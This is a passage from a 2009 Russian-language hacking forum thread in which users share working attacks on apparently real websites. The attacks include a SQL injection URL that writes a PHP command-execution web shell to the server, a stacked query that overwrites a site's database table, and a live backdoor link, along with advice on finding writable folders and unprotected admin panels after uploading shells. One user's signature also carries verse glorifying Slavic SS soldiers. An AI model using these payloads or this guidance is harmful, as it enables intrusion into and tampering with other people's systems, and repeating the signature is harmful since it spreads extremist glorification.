ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #10501  
Старый 01.12.2009, 16:28
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

Цитата:
Сообщение от p.r0phe.t  
http://site.ru/index.php?cat=1-1%20union%20select%201,2,3,4,'%3C?php%20system($_G ET[cmd]);%20?%3E',6,7,8,9,10,11,12,13,14+into+outfile+'/var/www/kvartirant/data/www/kvartira.ru/shell.php'/*
уматно сайт спрятал =))
kvartira.ru -это не настоящее имя сайта))))
сайт спрятал более менее надежно... ато турки сам знаеш)))
 
Ответить с цитированием

  #10502  
Старый 01.12.2009, 16:31
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 568
С нами: 9030566

Репутация: 2017


По умолчанию

Цитата:
Сообщение от 547  
kvartira.ru -это не настоящее имя сайта))))
сайт спрятал более менее надежно... ато турки сам знаеш)))
Поищи папки на запись и не думай что когда выполниш запрос то у тебя не вылезит какая нить ошибка, то есть ошибка может и вылезит, но файл создаться, но как я понял ты его прямо в корень сайта пихаеш, поищи папку с картинками
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #10503  
Старый 01.12.2009, 16:34
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

Цитата:
Сообщение от l1ght  
блин, а я сижу, раскручиваю
kvartira.ru/xml/list_flats.php?id=195&lang=ru';update+flats_s+set+ nrooms='0'+where+1=1;select+'1&sq_all=&rooms=&pr_d oll_min=1&pr_doll_max=&live=&unlive=1
ты вчера помог! тебе могу настоящее имя кинуть в лс))) только в паблик сразу некидай...
 
Ответить с цитированием

  #10504  
Старый 01.12.2009, 16:37
p.r0phe.t
Познающий
Регистрация: 22.08.2009
Сообщений: 98
С нами: 8799871

Репутация: 19
По умолчанию

Цитата:
Сообщение от HAXTA4OK  
По соображениям Light'a выложу))
http://www.terratour.ru/ru/img/2.php?a=phpinfo();
так где там админка не запороленая? =)
 
Ответить с цитированием

  #10505  
Старый 01.12.2009, 16:43
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 568
С нами: 9030566

Репутация: 2017


По умолчанию

Цитата:
Сообщение от p.r0phe.t  
так где там админка не запороленая? =)
выложить можно , но опасно и не буду, ибо там все просто, надо тока знать имя папки получается,и умееш ли ты с ним работать?
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #10506  
Старый 01.12.2009, 16:46
p.r0phe.t
Познающий
Регистрация: 22.08.2009
Сообщений: 98
С нами: 8799871

Репутация: 19
По умолчанию

Цитата:
Сообщение от HAXTA4OK  
выложить можно , но опасно и не буду, ибо там все просто, надо тока знать имя папки получается,и умееш ли ты с ним работать?
хм.
/ru/admin
/em/admin
не открывает ,хотя маднет кричит что они есть =)
а как ни странно
en/admin,которой в маднете нет, выдаёт окно для ввода логина/паса,но она запаролена

просвети,буду уметь работать )
 
Ответить с цитированием

  #10507  
Старый 01.12.2009, 16:47
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

Цитата:
Сообщение от HAXTA4OK  
выложить можно , но опасно и не буду, ибо там все просто, надо тока знать имя папки получается,и умееш ли ты с ним работать?
ну вот админка но она запаролена...
http://www.terratour.ru/ru/login/login.php
 
Ответить с цитированием

  #10508  
Старый 01.12.2009, 16:47
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Я что-то не пойму, РОА заняться нечем что-ли? В правилах темы написано по русски что шеллы в паблике запрещены, мы их долго тереть будем?
 
Ответить с цитированием

  #10509  
Старый 01.12.2009, 17:32
Totgeliebt
Познающий
Регистрация: 20.10.2009
Сообщений: 38
С нами: 8715864

Репутация: 5
По умолчанию

Фото альбомы > >



Дата: 01.01.1970
Добавлено:
Размер: x пикселов

Warning: filesize() [function.filesize]: stat failed for images/photoalbum/album_/ in /home/gamer/public_html/photogallery.php on line 68
Рахмер файла: Bytes
Комментариев: 0
Рейтинг: Пусто
Количество просмотров:
Посмотрите есть тут что плз
P.S Ногами не пинать, я чайничек)
 
Ответить с цитированием

  #10510  
Старый 01.12.2009, 17:53
wkar
Познающий
Регистрация: 18.10.2009
Сообщений: 80
С нами: 8718197

Репутация: 11
По умолчанию

Залил на сайт шелл, но доступ к индексу и другим файлам не имею,то есть не могу удалить,редак. и др. чмод 666, меняю на 777 - не меняется, помогите пж.



спс.

Последний раз редактировалось wkar; 01.12.2009 в 18:04..
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.